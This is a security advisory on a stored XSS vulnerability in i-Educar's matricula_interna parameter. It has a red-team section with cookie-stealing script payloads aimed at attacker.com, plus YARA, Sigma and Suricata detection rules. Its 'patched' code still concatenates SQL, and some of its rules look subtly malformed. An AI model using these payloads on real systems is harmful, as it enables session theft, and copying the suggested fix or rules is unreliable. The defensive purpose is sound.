CVE-2025-9638

Executive Summary

CVE-2025-9638 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Portabilis i-Educar version 2.10.0. The flaw resides in the educar_usuario_cad.php endpoint, where the matricula_interna parameter is not properly sanitized before being stored and later rendered in web pages. This allows an authenticated attacker to inject malicious scripts that execute in the context of other users' browsers, potentially leading to session hijacking, data theft, or further compromise of the application.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). No official patch has been released at the time of analysis, and no public exploit code or Nuclei template is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for organizations using this software.

Supply Chain & Package Security

This vulnerability does not affect a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a direct web application vulnerability in the i-Educar PHP application.

CVSS Breakdown & Threat Level

The CVSS vector is not provided in the NVD data. However, based on the nature of the vulnerability (Stored XSS), a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – an attacker needs a valid user account to access the vulnerable endpoint.
• User Interaction (UI): Required – the victim must visit the page containing the stored payload.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium (6.1) – Stored XSS with low privileges required but user interaction needed.

Deep Dive & Mechanics

The vulnerability exists in the educar_usuario_cad.php endpoint, which is used for user registration or profile updates. The matricula_interna parameter (likely representing an internal registration number) is accepted from user input and stored in the database without proper sanitization or output encoding. When this data is later rendered in a web page (e.g., in a user profile view or admin panel), the injected script executes in the victim's browser.

Root Cause: The application fails to neutralize special characters (e.g., <, >, ", ') in the matricula_interna parameter before storing it. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker logs in with a valid account.
2. Attacker navigates to the user registration/update form (e.g., educar_usuario_cad.php).
3. Attacker enters a malicious payload in the matricula_interna field, such as <script>alert('XSS')</script>.
4. The payload is stored in the database without sanitization.
5. When an administrator or another user views the affected user's profile or a list containing that field, the script executes.
6. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (i-Educar 2.10.0):

// educar_usuario_cad.php (simplified)
$matricula_interna = $_POST['matricula_interna'];
// Directly stored without sanitization
$sql = "INSERT INTO usuarios (matricula_interna) VALUES ('$matricula_interna')";

Patched Code (Expected):

// educar_usuario_cad.php (patched)
$matricula_interna = htmlspecialchars($_POST['matricula_interna'], ENT_QUOTES, 'UTF-8');
// Or use a framework's input validation
$sql = "INSERT INTO usuarios (matricula_interna) VALUES ('$matricula_interna')";

The patch should use htmlspecialchars() or equivalent output encoding to neutralize HTML special characters before storage. Additionally, output encoding should be applied when rendering the value in any context.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid user account on the i-Educar instance.
• Access to the educar_usuario_cad.php endpoint.

Exploitation Steps:

1. Log in to the i-Educar application.
2. Navigate to the user registration/update form (e.g., http://target/educar_usuario_cad.php).
3. In the matricula_interna field, inject a payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Submit the form.
5. Wait for an administrator or other user to view the affected user's profile or a list containing that field.
6. The victim's browser executes the script, sending their cookies to the attacker's server.

Example Payloads:

• Basic alert: <script>alert('XSS')</script>
• Cookie theft: <script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
• Session hijacking: <script>document.location='http://attacker.com/steal.php?session='+document.cookie</script>

Blue Team (Defender)

Detection:

• Monitor logs for unusual matricula_interna values containing <script> or other HTML tags.
• Use WAF rules to block common XSS patterns in POST parameters.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Mitigation:

• Apply input validation and output encoding for all user-supplied data.
• Use parameterized queries or prepared statements to prevent SQL injection (though not the primary issue here).
• Regularly update i-Educar to the latest version once a patch is released.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to educar_usuario_cad.php with matricula_interna containing <script> tags or encoded variants.
  • Outbound connections to attacker-controlled domains from the i-Educar server.
• File IOCs:
  • Log entries showing matricula_interna values with HTML/JavaScript content.
• Behavioral IOCs:
  • Unexpected user profile updates with suspicious matricula_interna values.
  • Multiple failed login attempts followed by successful exploitation.

Detection Engineering

YARA Rule

rule CVE_2025_9638_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in i-Educar matricula_interna parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9638"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-9638 - Stored XSS in i-Educar matricula_interna
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit stored XSS in i-Educar via matricula_interna parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9638
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'educar_usuario_cad.php'
        cs-uri-query|contains: 'matricula_interna'
        cs-uri-query|contains|any:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in matricula_interna (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9638 - Stored XSS in i-Educar matricula_interna"; flow:to_server,established; content:"POST"; http_method; content:"educar_usuario_cad.php"; http_uri; content:"matricula_interna"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict validation for the matricula_interna parameter. Allow only alphanumeric characters and a limited set of safe characters (e.g., hyphens, underscores).
2. Output Encoding: Use htmlspecialchars() or equivalent when rendering the matricula_interna value in any HTML context.
3. Content Security Policy (CSP): Add a CSP header to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
   

4. Web Application Firewall (WAF): Deploy WAF rules to block common XSS patterns in POST parameters.

Long-Term Fix:

• Upgrade to a patched version of i-Educar once released.
• Conduct a security audit of the entire application for similar vulnerabilities.
• Implement a secure coding policy that includes input validation and output encoding.

Workaround:

• If patching is not immediately possible, disable the matricula_interna field or restrict access to the educar_usuario_cad.php endpoint to trusted administrators only.

Valters IT
Securing Digital Frontiers